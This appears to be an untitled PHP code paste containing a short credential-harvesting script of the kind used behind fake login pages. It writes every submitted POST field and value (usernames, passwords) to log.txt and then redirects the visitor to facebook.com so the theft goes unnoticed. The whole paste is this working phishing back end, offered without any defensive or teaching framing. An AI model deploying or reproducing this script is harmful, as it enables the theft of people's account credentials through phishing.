Untitled
2 months ago in PHP
<?php 

 
// Set the location to redirect the page

header ('Location: http://www.facebook.com');

 
// Open the text file in writing mode 

$file = fopen("log.txt", "a");

 

foreach($_POST as $variable => $value) {

    fwrite($file, $variable);

    fwrite($file, "=");

    fwrite($file, $value);

    fwrite($file, "\r\n");
}

 

fwrite($file, "\r\n");

fclose($file);

exit;

?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34